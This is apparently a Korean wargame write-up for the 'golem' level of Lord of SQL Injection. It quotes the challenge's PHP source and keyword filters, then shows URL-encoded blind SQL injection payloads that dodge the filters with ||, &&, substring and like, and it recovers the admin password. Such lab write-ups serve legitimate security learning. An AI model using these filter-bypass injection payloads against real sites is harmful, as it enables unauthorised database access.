Web_Hacking/LOS
[LOS] golem
MitNy
2017. 8. 21. 16:11
<?php
include "./config.php";login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysql_fetch_array(mysql_query($query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");
highlight_file(__FILE__);
?>
golem 문제는 or, and, substr, = 등등 여러가지가 필터링된다.
or -> ||
and -> &&(%26%26)
substr -> substring
= -> like
로 우회해주면 된다.
다른 blind sql injection 문제처럼 pw의 길이부터 알아보자
지금까지 pw 길이가 8이었어서 8 먼저 넣어봤는데
한번에 Hello admin이 떴다
?pw=123%27%20||%20length(pw)%20like%20%278
?pw=123%27%20||%20id%20like%20%27admin%27%26%26%20substring(pw,1,1)%20like%20%278
이렇게 해서 알아낸 pw는 88e3137f
?pw=88e3137f 를 해주면
golem 문제도 클리어!